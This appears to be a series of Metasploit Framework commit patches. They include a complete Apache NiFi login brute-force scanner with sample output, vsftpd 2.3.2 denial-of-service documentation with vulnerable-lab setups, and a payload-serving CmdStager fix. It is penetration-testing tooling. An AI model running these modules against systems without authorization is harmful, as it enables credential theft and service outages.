receive_message_chain('session.type').and_return('shell') + version = subject.get_version_info + expect(version.build_number).to eq(Msf::WindowsVersion::Server2012) + expect(version.windows_server?).to eq(true) + expect(version.domain_controller?).to eq(true) + end + + it "parses systeminfo on 2008R2" do + allow(subject).to receive(:cmd_exec) { server2008r2_sp1_systeminfo } + allow(subject).to receive_message_chain('session.type').and_return('shell') + version = subject.get_version_info + expect(version.build_number).to eq(Msf::WindowsVersion::Server2008_R2_SP1) + expect(version.windows_server?).to eq(true) + expect(version.domain_controller?).to eq(false) + end + + it "parses systeminfo on 2008" do + allow(subject).to receive(:cmd_exec) { server2008_sp2_systeminfo } + allow(subject).to receive_message_chain('session.type').and_return('shell') + version = subject.get_version_info + expect(version.build_number).to eq(Msf::WindowsVersion::Server2008_SP2) + expect(version.windows_server?).to eq(true) + expect(version.domain_controller?).to eq(true) + end + + end +end diff --git a/spec/lib/msf/core/windows_version_spec.rb b/spec/lib/msf/core/windows_version_spec.rb new file mode 100644 index 0000000000000..7cb7dc99b1e11 --- /dev/null +++ b/spec/lib/msf/core/windows_version_spec.rb @@ -0,0 +1,29 @@ +require 'spec_helper' + +RSpec.describe Msf::WindowsVersion do + + it 'Recognisises a major version' do + subject = described_class.new(6, 0, 6000, 0, Msf::WindowsVersion::VER_NT_WORKSTATION) + expect(subject.to_s).to eq('Windows Vista') + end + + it 'Recognisises Windows Server' do + subject = described_class.new(6, 0, 6000, 0, Msf::WindowsVersion::VER_NT_SERVER) + expect(subject.to_s).to eq('Windows Server 2008') + end + + it 'Adds build suffix to Windows 10' do + subject = described_class.new(10,0,18362,0,Msf::WindowsVersion::VER_NT_WORKSTATION) + expect(subject.to_s).to eq('Windows 10+ Build 18362') + end + + it 'Adds service pack suffix' do + subject = described_class.new(5,1,2600,2,Msf::WindowsVersion::VER_NT_WORKSTATION) + expect(subject.to_s).to eq('Windows XP Service Pack 2') + end + + it 'Outputs unknown version' do + subject = described_class.new(1,2,3000,0,Msf::WindowsVersion::VER_NT_WORKSTATION) + expect(subject.to_s).to eq('Unknown Windows version: 1.2.3000') + end +end From 7215b88bad689057784aab2d0be6ce77ab5006dc Mon Sep 17 00:00:00 2001 From: Zach Goldman Date: Thu, 25 May 2023 10:38:39 -0500 Subject: [PATCH 200/415] bump credential version --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index e7dfd6083598b..ea5f856adbcd9 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -240,7 +240,7 @@ GEM activesupport (~> 7.0) railties (~> 7.0) zeitwerk - metasploit-credential (6.0.4) + metasploit-credential (6.0.5) metasploit-concern metasploit-model metasploit_data_models (>= 5.0.0) From 39b45694af73c0445cfb81c970f088132bd38749 Mon Sep 17 00:00:00 2001 From: attl4s <35996395+attl4s@users.noreply.github.com> Date: Thu, 25 May 2023 18:55:49 +0200 Subject: [PATCH 201/415] Update datastore option USER -> USERNAME Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com> --- modules/post/windows/manage/make_token.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/make_token.rb b/modules/post/windows/manage/make_token.rb index 1c90555589665..9d1a86cb2426d 100644 --- a/modules/post/windows/manage/make_token.rb +++ b/modules/post/windows/manage/make_token.rb @@ -43,7 +43,7 @@ def initialize(info = {}) register_options( [ OptString.new('DOMAIN', [true, 'Domain to use' ]), - OptString.new('USER', [true, 'Username to use' ]), + OptString.new('USERNAME', [true, 'Username to use' ]), OptString.new('PASSWORD', [true, 'Password to use' ]) ] ) From 217df628dfe93a7d4a3d0c08a69222a1f1a3404b Mon Sep 17 00:00:00 2001 From: attl4s Date: Thu, 25 May 2023 19:05:42 +0200 Subject: [PATCH 202/415] fix getting the username + use Failure::BadConfig instead of NoTarget --- modules/post/windows/manage/make_token.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/make_token.rb b/modules/post/windows/manage/make_token.rb index 9d1a86cb2426d..61160fc4dc9a2 100644 --- a/modules/post/windows/manage/make_token.rb +++ b/modules/post/windows/manage/make_token.rb @@ -57,10 +57,10 @@ def initialize(info = {}) def run # Make sure we meet the requirements before running the script - fail_with(Failure::NoTarget, 'This module requires a meterpreter session') unless session.type == 'meterpreter' + fail_with(Failure::BadConfig, 'This module requires a Meterpreter session') unless session.type == 'meterpreter' # check/set vars - user = datastore['USER'] + user = datastore['USERNAME'] password = datastore['PASSWORD'] domain = datastore['DOMAIN'] logontype = datastore['LOGONTYPE'] From 8368b80ad6a96b47435edaa79ebe2627a43fe85c Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 25 May 2023 12:05:49 -0500 Subject: [PATCH 203/415] Bump version of framework to 6.3.19 --- Gemfile.lock | 2 +- LICENSE_GEMS | 4 ++-- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index ea5f856adbcd9..87bf6975ca3ce 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.3.18) + metasploit-framework (6.3.19) actionpack (~> 7.0) activerecord (~> 7.0) activesupport (~> 7.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 8451c13806cfe..2f6379e576f8e 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -71,8 +71,8 @@ loofah, 2.20.0, MIT memory_profiler, 1.0.1, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 5.0.1, "New BSD" -metasploit-credential, 6.0.4, "New BSD" -metasploit-framework, 6.3.18, "New BSD" +metasploit-credential, 6.0.5, "New BSD" +metasploit-framework, 6.3.19, "New BSD" metasploit-model, 5.0.1, "New BSD" metasploit-payloads, 2.0.130, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.2, "New BSD" diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index b055cbc39bf48..721ed0e4bcb5e 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ def self.get_hash end end - VERSION = "6.3.18" + VERSION = "6.3.19" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 1d98cb00697722e04a1ac0f78f54f782348b46cf Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Thu, 25 May 2023 13:34:04 -0400 Subject: [PATCH 204/415] Added better description to documentation --- documentation/modules/auxiliary/dos/ftp/vsftpd_232.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md index 165877f3b60fc..5c6da860fd68f 100644 --- a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md +++ b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md @@ -1,3 +1,11 @@ +VSFTPD is a popular ftp server written in C. The vulnerability causes a DOS on +the service by leveraging a long recursive glob statement on the server. When +we fill the 4096 character buffer with this recursive glob search, it makes the +current thread spend all of that time unwinding that glob statement which can +use up all the resources on that core. Sending this glob on all threads leave no +availability for anyone else to access the server while taking up all of the CPU +resources of the machine. + ## Vulnerable Application This is an auxiliary for DOSing a VSFTPD server from version 2.3.3 and below. From b11b31c9ae213d021b56f010aa04f89a505eee8e Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Thu, 25 May 2023 14:18:15 -0400 Subject: [PATCH 205/415] Moved docker description into vulnerable application --- .../modules/auxiliary/dos/ftp/vsftpd_232.md | 58 +++++++++---------- 1 file changed, 29 insertions(+), 29 deletions(-) diff --git a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md index 5c6da860fd68f..2850a2aa0acdd 100644 --- a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md +++ b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md @@ -10,6 +10,35 @@ resources of the machine. This is an auxiliary for DOSing a VSFTPD server from version 2.3.3 and below. +### Docker install on Arch Linux + +A simple container was created to easily test this vulnerability. To easily run a +vulnerable instance of this application, build this image from this Dockerfile. + +1. Create a `Dockerfile` and place the content below into it + +```dockerfile +FROM archlinux:latest +ARG VERSION=2.3.2 +RUN pacman -Sy --noconfirm gcc make libnsl +RUN curl -O https://security.appspot.com/downloads/vsftpd-$VERSION.tar.gz +RUN tar zxf vsftpd-$VERSION.tar.gz +WORKDIR /vsftpd-$VERSION +RUN make +RUN mkdir -p /usr/share/empty/ +RUN chmod +x /vsftpd-$VERSION/vsftpd +RUN mv /vsftpd-$VERSION/vsftpd /bin/vsftpd +RUN mv /vsftpd-$VERSION/vsftpd.conf /etc/vsftpd.conf +RUN chown root:root /etc/vsftpd.conf +EXPOSE 21 +CMD [ "/bin/vsftpd" ] +``` + +2. Run `sudo docker build . -t vsftpd:2.3.2 --build-arg=2.3.2` +3. Run `sudo docker run --name vsftpd -p 21:21 vsftpd:2.3.2` + +Run the module against this container and the container will either slow down or crash entirely. + ## Verification Steps 1. Start `msfconsole` @@ -41,32 +70,3 @@ msf6 auxiliary(dos/ftp/vstfpd_232) > run ``` You can verify that it works by either attempting to ftp into the machine after or checking htop on the machine. If the CPU is at max capacity, that would be due to the DOS. - -## VSFTPD 2.3.2 - Arch Linux Docker - -A simple container was created to easily test this vulnerability. To easily run a vulnerable instance of this application, build this image from this Dockerfile. - -```dockerfile -FROM archlinux:latest as build -RUN pacman -Sy --noconfirm gcc make libnsl -RUN curl -O https://security.appspot.com/downloads/vsftpd-2.3.2.tar.gz -RUN tar zxf vsftpd-2.3.2.tar.gz -WORKDIR /vsftpd-2.3.2 -RUN make -RUN mkdir -p /usr/share/empty/ -RUN chmod +x /vsftpd-2.3.2/vsftpd -RUN mv /vsftpd-2.3.2/vsftpd /bin/vsftpd -RUN mv /vsftpd-2.3.2/vsftpd.conf /etc/vsftpd.conf -RUN chown root:root /etc/vsftpd.conf -EXPOSE 21 -CMD [ "/bin/vsftpd" ] -``` - -From there, you can run the instance of the container with this line - -```bash -sudo docker build -t vsftpd:2.3.2 . -sudo docker run --name vsftpd -p 21:21 vsftpd:2.3.2 -``` - -Run the module against this container and the container will either slow down or crash entirely. From cb8d86651db3344b5a8f974235c48a24560f3190 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Thu, 25 May 2023 14:19:44 -0400 Subject: [PATCH 206/415] Added build setup for arch linux --- .../modules/auxiliary/dos/ftp/vsftpd_232.md | 76 +++++++++++++++++++ 1 file changed, 76 insertions(+) diff --git a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md index 2850a2aa0acdd..f103f3bd0b3cd 100644 --- a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md +++ b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md @@ -10,6 +10,82 @@ resources of the machine. This is an auxiliary for DOSing a VSFTPD server from version 2.3.3 and below. +### Install on Arch Linux + +The software has been tested on multiple versions using arch linux. To create an +installable package for the vulnerable software to test, follow these instructions. + +1. Clone the source repository using `git clone https://gitlab.archlinux.org/archlinux/packaging/packages/vsftpd.git` +2. Replace the contents of the PKGBUILD with this + +```pkgbuild +pkgname=vsftpd +pkgver=2.3.2 +pkgrel=1 +pkgdesc='Very Secure FTP daemon' +url='https://security.appspot.com/vsftpd.html' +arch=('x86_64') +license=('GPL2') +depends=('glibc' 'openssl' 'libcap' 'pam' 'libnsl') +optdepends=('logrotate') +backup=('etc/vsftpd.conf' + 'etc/xinetd.d/vsftpd' + "etc/logrotate.d/vsftpd") +source=(https://security.appspot.com/downloads/${pkgname}-${pkgver}.tar.gz + vsftpd-ssl.socket + vsftpd.socket + vsftpd.service + vsftpd@.service + vsftpd-ssl.service + vsftpd-ssl@.service) +sha256sums=('SKIP' + 'd5185e48fffc6253499a55e0fe0f90a3424fc639640af11a9d38df33fb145afe' + '9fdbfd2ec0207170371ca3cf2b0ddca2dc2fe3d062e5792e0d3e51474c3198c9' + '0597e571718ba0f4dc4b32a4ddd148103758c48c7d65dcb8bbedafc9e810e83d' + 'd7b8e4827d4f6bafcbf52f9d2d7380958c7b08bb3f757806aa89d4bc06c9671c' + 'b88a50fc68b3bf746d13c9a777df77791cd3eac6eb7c2df655418071c2adf422' + '4a55c2468b08d858f71bacf1f4885847bec8e548b0e92088068d9bdd3884af84') + +prepare() { + cd ${pkgname}-${pkgver} + # build-time config + sed -e 's|^#undef VSF_BUILD_SSL$|#define VSF_BUILD_SSL|' -i builddefs.h + sed -e 's|/usr/share/empty|/var/empty|g' -i tunables.c vsftpd.conf.5 INSTALL + sed -e 's|/usr/local/sbin/vsftpd|/usr/bin/vsftpd|' -i EXAMPLE/INTERNET_SITE/${pkgname}.xinetd + + # fix linking to openssl 1.1 + sed -e 's|SSL_library_init|SSL_CTX_new|' -i vsf_findlibs.sh +} + +build() { + cd ${pkgname}-${pkgver} + make LINK='' CFLAGS="${CFLAGS} ${CPPFLAGS}" LDFLAGS="${LDFLAGS}" +} + +package() { + cd ${pkgname}-${pkgver} + + install -Dm 755 ${pkgname} -t "${pkgdir}/usr/bin" + install -dm 755 "${pkgdir}/var/empty" + install -Dm 644 "${srcdir}"/{*.service,*.socket} -t "${pkgdir}/usr/lib/systemd/system" + + install -Dm 644 ${pkgname}.conf -t "${pkgdir}/etc" + install -Dm 644 EXAMPLE/INTERNET_SITE/${pkgname}.xinetd "${pkgdir}/etc/xinetd.d/${pkgname}" + install -Dm 644 RedHat/vsftpd.log "${pkgdir}/etc/logrotate.d/${pkgname}" + install -Dm 644 RedHat/vsftpd.pam "${pkgdir}/etc/pam.d/${pkgname}" + + install -Dm 644 ${pkgname}.8 -t "${pkgdir}/usr/share/man/man8" + install -Dm 644 ${pkgname}.conf.5 -t "${pkgdir}/usr/share/man/man5" + install -Dm 644 BENCHMARKS BUGS Changelog FAQ INSTALL README README.ssl REFS \ + REWARD SPEED TODO TUNING -t "${pkgdir}/usr/share/doc/${pkgname}" +} +``` + +3. If you want to test a different version, Change the version variable to your +desired version. +4. Run `makepkg -i` to build the package and automatically install it. +5. Start the systemd service with `sudo systemctl start vsftpd` + ### Docker install on Arch Linux A simple container was created to easily test this vulnerability. To easily run a From 72ef6537ef0fd8c26d523fc15b2070b0cf388e15 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Thu, 25 May 2023 14:21:52 -0400 Subject: [PATCH 207/415] Added tested versions to description --- documentation/modules/auxiliary/dos/ftp/vsftpd_232.md | 4 +++- modules/auxiliary/dos/ftp/vstfpd_232.rb | 3 ++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md index f103f3bd0b3cd..d1876282e9625 100644 --- a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md +++ b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md @@ -8,7 +8,9 @@ resources of the machine. ## Vulnerable Application -This is an auxiliary for DOSing a VSFTPD server from version 2.3.3 and below. +This is an auxiliary for DOSing a VSFTPD server from version 2.3.3 and below. The +vulnerability has been directly tested on versions 2.3.0, 2.3.1, and 2.3.2 and have +shown success. ### Install on Arch Linux diff --git a/modules/auxiliary/dos/ftp/vstfpd_232.rb b/modules/auxiliary/dos/ftp/vstfpd_232.rb index 7769202606696..beb55532b66a4 100644 --- a/modules/auxiliary/dos/ftp/vstfpd_232.rb +++ b/modules/auxiliary/dos/ftp/vstfpd_232.rb @@ -13,7 +13,8 @@ def initialize(info = {}) info, 'Name' => 'VSFTPD 2.3.2 Denial of Service', 'Description' => %q{ - This module triggers a Denial of Service condition in the VSFTPD server in versions before 2.3.3. So far, it has been tested on 2.3.2, but is reported to work on 2.3.0 as well. + This module triggers a Denial of Service condition in the VSFTPD server in + versions before 2.3.3. So far, it has been tested on 2.3.0, 2.3.1, and 2.3.2. }, 'Author' => [ 'Nick Cottrell (Rad10Logic) ', # Module Creator From 48207dd9f1bd4206e72d6fe009796d0570c86ebd Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 25 May 2023 16:57:32 -0400 Subject: [PATCH 208/415] apache nifi login module --- .../scanner/http/apache_nifi_login.md | 89 +++++++++++++ .../scanner/http/apache_nifi_login.rb | 125 ++++++++++++++++++ 2 files changed, 214 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/apache_nifi_login.md create mode 100644 modules/auxiliary/scanner/http/apache_nifi_login.rb diff --git a/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md b/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md new file mode 100644 index 0000000000000..04be61a7aaf35 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md @@ -0,0 +1,89 @@ +## Vulnerable Application + +This attempts to login to Apache NiFi websites. + +Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.13.0 +Also works against NiFi <= 1.13.0, but the module needs to be adjusted: + + - set SSL false + - set rport 8080 + +### Docker Install + +Apache manages Docker installs for nifi with version numbers, simply select the version number you wish to install. Examples: + +``` +docker run -p 8443:8443 -d apache/nifi:1.21.0 +docker run -p 8443:8443 -d apache/nifi:1.20.0 +docker run -p 8443:8443 -d apache/nifi:1.19.0 +docker run -p 8443:8443 -d apache/nifi:1.18.0 +docker run -p 8443:8443 -d apache/nifi:1.17.0 +docker run -p 8443:8443 -d apache/nifi:1.16.0 +docker run -p 8443:8443 -d apache/nifi:1.15.0 +docker run -p 8443:8443 -d apache/nifi:1.14.0 +docker run -p 8080:8080 -d apache/nifi:1.13.0 +``` + +Versions > 1.13.0 dynamically create a username and password. To view them in the docker logs, use the following command: +``` +docker log | grep Generated +``` + + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/http/apache_nifi_login` +1. Do: `set rhosts [ip]` +1. Do: `set username [username]` +1. Do: `set password [password]` +1. Do: `run` +1. If any logins are valid, they will be printed + +## Options + +## Scenarios + +### Docker image 1.18.0 and 1.13.0 + +``` +msf6 > use auxiliary/scanner/http/nifi_login +msf6 auxiliary(scanner/http/nifi_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/http/nifi_login) > set username 21acf672-7935-441c-a38b-b52643f029bf +username => 21acf672-7935-441c-a38b-b52643f029bf +msf6 auxiliary(scanner/http/nifi_login) > set password bad +password => bad +msf6 auxiliary(scanner/http/nifi_login) > run + +[*] Checking 127.0.0.1 +[-] 127.0.0.1:8443 - Apache NiFi - Failed to login as '21acf672-7935-441c-a38b-b52643f029bf' with password 'bad' +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/nifi_login) > set password R4+xdl8P9Phrqne4NxHDponQs5X9ktn2 +password => R4+xdl8P9Phrqne4NxHDponQs5X9ktn2 +msf6 auxiliary(scanner/http/nifi_login) > run + +[*] Checking 127.0.0.1 +[+] 127.0.0.1:8443 - Apache NiFi - Login successful as '21acf672-7935-441c-a38b-b52643f029bf' with password 'R4+xdl8P9Phrqne4NxHDponQs5X9ktn2' +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +``` +msf6 > use auxiliary/scanner/http/nifi_login +msf6 auxiliary(scanner/http/nifi_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/http/nifi_login) > set ssl false +[!] Changing the SSL option's value may require changing RPORT! +ssl => false +msf6 auxiliary(scanner/http/nifi_login) > set rport 8080 +rport => 8080 +msf6 auxiliary(scanner/http/nifi_login) > run + +[*] Checking 127.0.0.1 +[+] 127.0.0.1:8080 - User login not supported, try visiting /nifi to gain access +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/http/apache_nifi_login.rb b/modules/auxiliary/scanner/http/apache_nifi_login.rb new file mode 100644 index 0000000000000..7c5b3e76c5ff9 --- /dev/null +++ b/modules/auxiliary/scanner/http/apache_nifi_login.rb @@ -0,0 +1,125 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache NiFi Login Scanner', + 'Description' => %q{ + This attempts to login to Apache NiFi websites. + + Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.13.0 + Also works against NiFi <= 1.13.0, but the module needs to be adjusted: + set SSL false + set rport 8080 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(8443), + OptString.new('TARGETURI', [ true, 'The URI of the Apache NiFi Application', '/']) + ] + ) + register_advanced_options([ + OptBool.new('SSL', [true, 'Negotiate SSL connection', true]) + ]) + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + last_attempted_at: DateTime.now, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run_host(ip) + vprint_status("Checking #{ip}") + res = send_request_cgi!( + 'uri' => normalize_uri(target_uri.path, 'nifi', 'login') + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 + + fail_with(Failure::UnexpectedReply, "Apache NiFi not detected on #{ip}") unless res.body =~ %r{js/nf/nf-namespace\.js\?([\d.]*)">} + + res = send_request_cgi!( + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'config') + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 + + res_json = res.get_json_document + + unless res_json['config']['supportsLogin'] + print_good("#{peer} - User login not supported, try visiting /nifi to gain access") + return + end + + each_user_pass do |user, pass| + res = send_request_cgi!( + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'token'), + 'method' => 'POST', + 'vars_post' => { + 'username' => user, + 'password' => pass + } + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + if res.code == 201 + print_good("#{peer} - Apache NiFi - Login successful as '#{user}' with password '#{pass}'") + report_cred( + ip: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + user: user, + password: pass, + proof: res.body.to_s + ) + elsif res.code == 409 + fail_with(Failure::BadConfig, "#{peer} - Logins only accepted on HTTPS") + else + vprint_error("#{peer} - Apache NiFi - Failed to login as '#{user}' with password '#{pass}'") + end + end + end +end From 376ef7a8bce18f66fa41c5f79034ac7a2f9dfc36 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Thu, 25 May 2023 21:16:07 -0400 Subject: [PATCH 209/415] Made several fixes for msftidy --- .../modules/auxiliary/dos/ftp/vsftpd_232.md | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md index d1876282e9625..055289af4f275 100644 --- a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md +++ b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md @@ -1,3 +1,9 @@ +## Vulnerable Application + +This is an auxiliary for DOSing a VSFTPD server from version 2.3.3 and below. The +vulnerability has been directly tested on versions 2.3.0, 2.3.1, and 2.3.2 and have +shown success. + VSFTPD is a popular ftp server written in C. The vulnerability causes a DOS on the service by leveraging a long recursive glob statement on the server. When we fill the 4096 character buffer with this recursive glob search, it makes the @@ -6,11 +12,13 @@ use up all the resources on that core. Sending this glob on all threads leave no availability for anyone else to access the server while taking up all of the CPU resources of the machine. -## Vulnerable Application +## Options -This is an auxiliary for DOSing a VSFTPD server from version 2.3.3 and below. The -vulnerability has been directly tested on versions 2.3.0, 2.3.1, and 2.3.2 and have -shown success. ++---------+----------------------------------------------+ +| FTPUSER | The username used to log into the FTP server | ++---------+----------------------------------------------+ +| FTPPASS | The password used to log into the FTP server | ++---------+----------------------------------------------+ ### Install on Arch Linux @@ -147,4 +155,5 @@ msf6 auxiliary(dos/ftp/vstfpd_232) > run [*] Auxiliary module execution completed ``` -You can verify that it works by either attempting to ftp into the machine after or checking htop on the machine. If the CPU is at max capacity, that would be due to the DOS. +You can verify that it works by either attempting to ftp into the machine after or checking +htop on the machine. If the CPU is at max capacity, that would be due to the DOS. From 61c4ba75038df2c121018e3f86dd21d77aa26aa5 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Thu, 25 May 2023 21:21:49 -0400 Subject: [PATCH 210/415] Renamed module to correct name --- modules/auxiliary/dos/ftp/{vstfpd_232.rb => vsftpd_232.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/dos/ftp/{vstfpd_232.rb => vsftpd_232.rb} (100%) diff --git a/modules/auxiliary/dos/ftp/vstfpd_232.rb b/modules/auxiliary/dos/ftp/vsftpd_232.rb similarity index 100% rename from modules/auxiliary/dos/ftp/vstfpd_232.rb rename to modules/auxiliary/dos/ftp/vsftpd_232.rb From 250a8768e3f936d983341bab81c93fb6d3697de8 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Thu, 25 May 2023 21:28:19 -0400 Subject: [PATCH 211/415] Updated doc to appease msftidy --- .../auxiliary/scanner/http/archer_c7_traversal.md | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md b/documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md index 4b1b596ac8f15..fc9fd68f03a85 100644 --- a/documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md @@ -1,6 +1,17 @@ ## Vulnerable Application -This module attempts to spider files from an archer c7 router using a known traversal vulnerability +This module attempts to spider files from an archer c7 router using a known traversal +vulnerability + +## Options + +### FILE + +This option sets what file you want to collect from the router. + +### SAVE + +Use this option to save the file found as loot ## Verification Steps From 952833976198e82046818f7ac10c92d4859fe2c3 Mon Sep 17 00:00:00 2001 From: wvu <4551878+wvu@users.noreply.github.com> Date: Thu, 25 May 2023 22:22:23 -0500 Subject: [PATCH 212/415] Fix missing return in HTTP CmdStagers Fetch payloads are cooler, but this was missed in https://github.com/rapid7/metasploit-framework/pull/13426. --- lib/msf/core/exploit/cmd_stager/http.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/cmd_stager/http.rb b/lib/msf/core/exploit/cmd_stager/http.rb index f76bb10da402b..9f37a162f9da0 100644 --- a/lib/msf/core/exploit/cmd_stager/http.rb +++ b/lib/msf/core/exploit/cmd_stager/http.rb @@ -42,7 +42,7 @@ def on_request_uri(cli, request) unless user_agent =~ agent_regex print_status("Sending 404 to #{client}") - send_not_found(cli) + return send_not_found(cli) end print_status("Sending payload to #{client}") From 00451e3aecf366d6f7aa5579a972349070dc8fe1 Mon Sep 17 00:00:00 2001 From: wvu <4551878+wvu@users.noreply.github.com> Date: Thu, 25 May 2023 23:22:54 -0500 Subject: [PATCH 213/415] Improve help for "edit" and "log" commands Talking about `LocalEditor` and `LocalPager`. --- lib/msf/ui/console/command_dispatcher/developer.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/ui/console/command_dispatcher/developer.rb b/lib/msf/ui/console/command_dispatcher/developer.rb index 77d301c85241f..7b2fb7c5d569b 100644 --- a/lib/msf/ui/console/command_dispatcher/developer.rb +++ b/lib/msf/ui/console/command_dispatcher/developer.rb @@ -200,6 +200,7 @@ def cmd_edit_help print_line 'Usage: edit [file/to/edit]' print_line print_line "Edit the currently active module or a local file with #{local_editor}." + print_line 'To change the preferred editor, you can "setg LocalEditor".' print_line 'If a library file is specified, it will automatically be reloaded after editing.' print_line 'Otherwise, you can reload the active module with "reload" or "rerun".' print_line @@ -301,6 +302,7 @@ def cmd_log_help print_line 'Usage: log' print_line print_line 'Display framework.log paged to the end if possible.' + print_line 'To change the preferred pager, you can "setg LocalPager".' print_line 'For full effect, "setg LogLevel 3" before running modules.' print_line print_line "Log location: #{File.join(Msf::Config.log_directory, 'framework.log')}" From f5bec517a0b53c5a04ca986a98ba681ef7441d7b Mon Sep 17 00:00:00 2001 From: wvu <4551878+wvu@users.noreply.github.com> Date: Thu, 25 May 2023 23:46:18 -0500 Subject: [PATCH 214/415] Escape braces after all in cmd/brace encoder Previously escaped only commas. --- modules/encoders/cmd/brace.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/encoders/cmd/brace.rb b/modules/encoders/cmd/brace.rb index 4c96a122a9655..edd9ee5edeba2 100644 --- a/modules/encoders/cmd/brace.rb +++ b/modules/encoders/cmd/brace.rb @@ -27,7 +27,7 @@ def 